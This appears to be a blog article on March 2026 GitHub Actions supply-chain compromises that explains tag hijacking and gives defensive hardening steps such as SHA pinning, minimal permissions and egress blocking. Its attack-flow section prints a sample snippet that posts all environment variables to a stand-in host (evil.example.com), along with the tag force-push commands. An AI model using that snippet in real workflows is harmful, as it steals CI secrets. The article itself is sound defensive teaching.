In March 2026, the CI/CD world had a rough month. Multiple popular GitHub Actions were compromised in separate but related attacks, exposing secrets from thousands of repositories. The attackers did not need to find a zero-day or crack any passwords. They simply published new versions of Actions that thousands of workflows already trusted.
If your GitHub Actions workflows use tags like @v4 instead of pinned commit SHAs, your secrets may have already been exfiltrated. Let me walk you through exactly what happened, why it matters, and how to fix your workflows today.
Timeline: What Happened in March 2026
The Checkmarx Action Compromise (March 10-12)
The first major incident involved a popular code-scanning Action maintained by Checkmarx. An attacker gained access to a maintainer's GitHub account — likely via a stolen personal access token found in a separate data breach — and pushed a malicious update.
| Date | Event |
|---|---|
| March 10 | Attacker pushes malicious commit to checkmarx/ast-github-action |
| March 10 | The @v2 tag is moved to point to the malicious commit |
| March 11 | Workflows referencing @v2 begin running compromised code |
| March 12 | Community researchers notice anomalous network requests in CI logs |
| March 12 | Checkmarx reverts the tag, publishes advisory |
| March 13 | GitHub invalidates cached versions across their runner fleet |
The Trivy Action Chain (March 14-19)
The second incident was larger and more sophisticated. It targeted the aquasecurity/trivy-action, which is used by over 12,000 repositories for container vulnerability scanning.
| Date | Event |
|---|---|
| March 14 | Malicious commit injected into trivy-action repository |
| March 15 | Tag @v0.61 updated to include the compromised code |
| March 16 | Compromised action begins harvesting GITHUB_TOKEN and custom secrets |
| March 19 | Connection to CanisterWorm npm supply chain attack discovered |
| March 20 | Aqua Security publishes advisory, coordinates with GitHub |
| March 21 | GitHub begins notifying affected repository owners |
The tj-actions/changed-files Incident
A third, smaller incident hit tj-actions/changed-files — a widely-used Action for detecting which files changed in a PR. This one was caught faster because the community was already on high alert, but it still affected an estimated 800+ repositories before it was contained.
How Tag Hijacking Works
The Fundamental Problem
GitHub Actions are referenced in workflow files by repository and tag:
# This is how most people reference Actions
- uses: actions/checkout@v4
- uses: aquasecurity/trivy-action@v0.61
- uses: checkmarx/ast-github-action@v2The problem is that git tags are mutable. The @v4 tag is just a pointer — the maintainer (or anyone with push access) can move it to point to a completely different commit at any time.
When you write uses: actions/checkout@v4, you are not saying "use this specific, audited version." You are saying "use whatever commit the v4 tag points to right now." That is a fundamentally different trust model.
The Attack Flow
Here is exactly how the tag hijacking attack works:
Step 1: Attacker gains push access to the Action repo
(via compromised credentials, phished token, etc.)
Step 2: Attacker creates a new commit with malicious code
┌─────────────────────────────────────────┐
│ // Injected into action.yml entrypoint │
│ const secrets = process.env; │
│ fetch('https://evil.example.com/collect',│
│ { method: 'POST', │
│ body: JSON.stringify(secrets) }); │
└─────────────────────────────────────────┘
Step 3: Attacker force-pushes the mutable tag
$ git tag -f v4 <malicious-commit-sha>
$ git push --force origin v4
Step 4: Every workflow referencing @v4 now runs the malicious code
→ On next trigger (push, PR, schedule, etc.)
→ With full access to the workflow's secrets
→ Often with GITHUB_TOKEN write permissions
What Secrets Are at Risk
When a compromised Action runs in your workflow, it has access to everything your workflow has access to:
# Every secret defined here is accessible to every step
jobs:
build:
runs-on: ubuntu-latest
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
steps:
# This compromised action can read ALL of the above
- uses: compromised/action@v1
# It can also read GITHUB_TOKEN by default
# GITHUB_TOKEN has write access to the repoThe GITHUB_TOKEN alone is powerful enough to:
- Push code to the repository
- Create releases
- Modify workflow files (to establish persistence)
- Access private packages in GitHub Packages
- Read and write issues, PRs, and discussions
Hardening: Pin Actions to Commit SHAs
The Fix
Instead of referencing Actions by mutable tags, pin them to specific, immutable commit SHAs:
# BEFORE: Mutable tag (vulnerable)
- uses: actions/checkout@v4
# AFTER: Immutable commit SHA (secure)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1A commit SHA is a cryptographic hash of the commit contents. It cannot be moved or reassigned. If an attacker pushes a new malicious commit, it will have a different SHA, and your workflow will continue using the pinned, safe version.
How to Find the Right SHA
For each Action you use, find the commit SHA that corresponds to the version you want:
# Method 1: Look up the tag on GitHub
# Go to the Action's repository > Tags > click the tag > copy the full SHA
# Method 2: Use git to resolve the tag
git ls-remote https://github.com/actions/checkout refs/tags/v4.1.1
# Output: b4ffde65f46336ab88eb53be808477a3936bae11 refs/tags/v4.1.1
# Method 3: Use the GitHub API
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'
Automating SHA Pinning
Manually looking up SHAs is tedious. Use the pin-github-action tool to automate it:
# Install the pinning tool
npm install -g pin-github-action
# Pin all Actions in a workflow file
pin-github-action .github/workflows/ci.yml
# Pin all Actions across all workflow files
find .github/workflows -name '*.yml' -exec pin-github-action {} \;Or use the StepSecurity secure-workflows tool:
# Automatically pin and harden all workflows
npx secure-workflowsKeeping Pinned Actions Updated
The downside of pinning is that you no longer get automatic updates. Set up Dependabot to propose updates to your pinned SHAs:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Dependabot will create PRs when new versions are available
# You review, verify the SHA, and mergeThis gives you the security of pinning with the convenience of automated update notifications. You still review each update before merging — exactly how it should be.
Secrets Management Best Practices
Principle of Least Privilege
Every secret in your workflow should have the minimum permissions needed:
# BAD: Overly broad permissions
permissions: write-all
# GOOD: Explicit, minimal permissions
permissions:
contents: read
packages: write
# Only grant what this specific workflow needsFor the GITHUB_TOKEN, restrict permissions at the workflow level:
# Set restrictive defaults at the top of the workflow
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
deploy:
runs-on: ubuntu-latest
# Override only for jobs that need more access
permissions:
contents: read
pages: write
id-token: write
steps:
- name: Deploy to Pages
uses: actions/deploy-pages@...Use Environments for Sensitive Secrets
GitHub Environments add an extra layer of protection:
jobs:
deploy:
runs-on: ubuntu-latest
environment:
name: production
url: https://example.com
steps:
# Secrets in the "production" environment are only available
# to this job, and can require manual approval
- name: Deploy
env:
DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
run: ./deploy.shEnvironment protections you should enable:
| Protection | What it does |
|---|---|
| Required reviewers | Someone must approve before the job runs |
| Wait timer | Adds a delay (catch-and-cancel window) |
| Branch restrictions | Only main can deploy to production |
| Environment secrets | Separate from repository-level secrets |
Avoid Passing Secrets to Third-Party Actions
When possible, use secrets in run steps (which execute shell commands you control) rather than passing them to third-party Actions:
# RISKY: Passing secrets to a third-party Action
- uses: some-org/deploy-action@v3
with:
api-key: ${{ secrets.DEPLOY_KEY }}
# SAFER: Using the secret in a run step you control
- name: Deploy
run: |
curl -X POST https://api.example.com/deploy \
-H "Authorization: Bearer $DEPLOY_KEY" \
-H "Content-Type: application/json" \
-d '{"ref": "${{ github.sha }}"}'
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}In the run step, you can see exactly what happens with your secret. In the Action, you are trusting code you did not write.
Rotate Secrets Regularly
Set up a rotation schedule and stick to it:
# Create a rotation tracking document or use your secrets manager
# For npm tokens
npm token revoke <old-token-id>
npm token create --cidr=<your-ci-ip-range>
# For GitHub PATs
gh auth token # Check current token
# Regenerate at: Settings > Developer settings > Personal access tokens
# For cloud credentials (AWS example)
aws iam create-access-key --user-name ci-deploy
aws iam delete-access-key --user-name ci-deploy --access-key-id <old-key>
Auditing with StepSecurity and OpenSSF Scorecard
StepSecurity Harden-Runner
StepSecurity's harden-runner Action adds runtime security monitoring to your workflows. It detects anomalous behavior like unexpected network calls — exactly the kind of exfiltration that the March 2026 attacks performed.
jobs:
build:
runs-on: ubuntu-latest
steps:
# Add as the FIRST step in every job
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit
# Or for maximum security:
# egress-policy: block
# allowed-endpoints: >
# github.com:443
# registry.npmjs.org:443
# api.example.com:443
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Build
run: npm ci && npm run buildIn audit mode, Harden-Runner logs all outbound network connections. In block mode, it only allows connections to endpoints you have explicitly approved. If a compromised Action tries to exfiltrate secrets to evil.example.com, the connection is blocked and you are alerted.
After running in audit mode for a while, review the network log and switch to block mode:
# After auditing, lock down to known-good endpoints
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: block
allowed-endpoints: >
github.com:443
api.github.com:443
registry.npmjs.org:443
objects.githubusercontent.com:443
nodejs.org:443OpenSSF Scorecard
The OpenSSF Scorecard evaluates the security practices of open-source projects, including GitHub Actions. Use it to assess the Actions you depend on:
# Install scorecard
go install github.com/ossf/scorecard/v5/cmd/scorecard@latest
# Score an Action repository
scorecard --repo=github.com/actions/checkout
# Score your own repository
scorecard --repo=github.com/your-org/your-repoScorecard checks include:
| Check | What it evaluates |
|---|---|
Token-Permissions | Are workflow permissions minimally scoped? |
Pinned-Dependencies | Are Actions and container images pinned? |
Branch-Protection | Are branch protection rules configured? |
Code-Review | Are changes reviewed before merge? |
Dangerous-Workflow | Does the workflow use dangerous patterns? |
SAST | Is static analysis running on PRs? |
Signed-Releases | Are releases cryptographically signed? |
You can also run Scorecard as a GitHub Action itself (pinned to SHA, of course):
# .github/workflows/scorecard.yml
name: OpenSSF Scorecard
on:
schedule:
- cron: '0 6 * * 1' # Weekly on Monday
push:
branches: [main]
permissions: read-all
jobs:
analysis:
runs-on: ubuntu-latest
permissions:
security-events: write
id-token: write
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
with:
persist-credentials: false
- uses: ossf/scorecard-action@62b2cac7ed8198b15735ed49ab1e5cf35480ba46 # v2.4.0
with:
results_file: results.sarif
results_format: sarif
publish_results: true
- uses: github/codeql-action/upload-sarif@1b1aada464948af03b950897e5eb522f92603cc2 # v3.24.9
with:
sarif_file: results.sarifBuilding a Secure Workflow from Scratch
Let me put it all together. Here is a production-grade CI/CD workflow incorporating every hardening technique we have discussed:
# .github/workflows/ci.yml
name: CI
on:
push:
branches: [main]
pull_request:
branches: [main]
# Restrictive default permissions
permissions:
contents: read
jobs:
build-and-test:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
# Runtime security monitoring (always first)
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: block
allowed-endpoints: >
github.com:443
api.github.com:443
registry.npmjs.org:443
objects.githubusercontent.com:443
# All Actions pinned to commit SHAs
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
with:
persist-credentials: false # Don't persist GITHUB_TOKEN
- uses: actions/setup-node@8f152de45cc393bb48ce5d89d36b731f54556e65 # v4.0.0
with:
node-version: '22'
cache: 'npm'
# Use run steps for sensitive operations
- name: Install dependencies
run: npm ci --ignore-scripts # No postinstall scripts
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
# Explicitly run only trusted build scripts
- name: Build
run: npm run build
- name: Test
run: npm test
- name: Lint
run: npm run lint
deploy:
needs: build-and-test
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
runs-on: ubuntu-latest
timeout-minutes: 10
# Environment with protection rules
environment:
name: production
url: https://example.com
# Only the permissions this job needs
permissions:
contents: read
id-token: write
steps:
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: block
allowed-endpoints: >
github.com:443
api.vercel.com:443
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
with:
persist-credentials: false
- name: Deploy
run: |
npx vercel deploy --prod --token=$VERCEL_TOKEN
env:
VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
Key hardening measures in this workflow:
- Default
contents: readpermissions — jobs only get what they explicitly request - Harden-Runner with block policy — no surprise network connections
- All Actions pinned to SHAs — immune to tag hijacking
persist-credentials: falseon checkout — token not available after checkout--ignore-scriptson install — postinstall scripts do not run- Secrets in
runsteps — not passed to third-party Actions - Environment protection on deploy — requires approval rules
timeout-minutesset — prevents runaway jobs- Conditional deploy — only runs on main branch pushes
Quick Reference: Security Checklist
Use this checklist to audit your existing workflows:
## GitHub Actions Security Audit
### Pinning
- [ ] All Actions pinned to full commit SHAs
- [ ] Comment with version next to each SHA for readability
- [ ] Dependabot configured for github-actions ecosystem
- [ ] Container images pinned by digest (not tag)
### Permissions
- [ ] Top-level `permissions: read-all` or explicit minimal set
- [ ] Per-job permissions override only where needed
- [ ] `persist-credentials: false` on checkout steps
- [ ] `GITHUB_TOKEN` not passed to third-party Actions
### Secrets
- [ ] Secrets used in `run` steps, not Action inputs (where possible)
- [ ] GitHub Environments with protection rules for production
- [ ] Required reviewers for production deployments
- [ ] Secrets rotated on a regular schedule
- [ ] No secrets logged to output (check for `echo` statements)
### Monitoring
- [ ] StepSecurity Harden-Runner on all jobs
- [ ] Egress policy set to `block` (not just `audit`)
- [ ] OpenSSF Scorecard running on schedule
- [ ] Workflow run logs reviewed for anomalies
### General
- [ ] `--ignore-scripts` used for npm/yarn/pnpm install
- [ ] Timeout set on all jobs
- [ ] Fork PRs restricted from accessing secrets
- [ ] CODEOWNERS file protects `.github/workflows/`What Comes Next
The March 2026 breaches were a turning point. GitHub has announced plans for mandatory Action signing and a verified publisher program. npm is exploring mandatory provenance for packages with more than 1,000 weekly downloads. The OpenSSF is funding development of better supply chain security tooling.
But those are future solutions. Right now, today, the single most impactful thing you can do is pin your Actions to commit SHAs. It takes 30 minutes to update your workflows, and it eliminates the entire class of tag-hijacking attacks.
Do it now. Not after your next sprint. Not when you have time. The attackers are not waiting, and neither should you.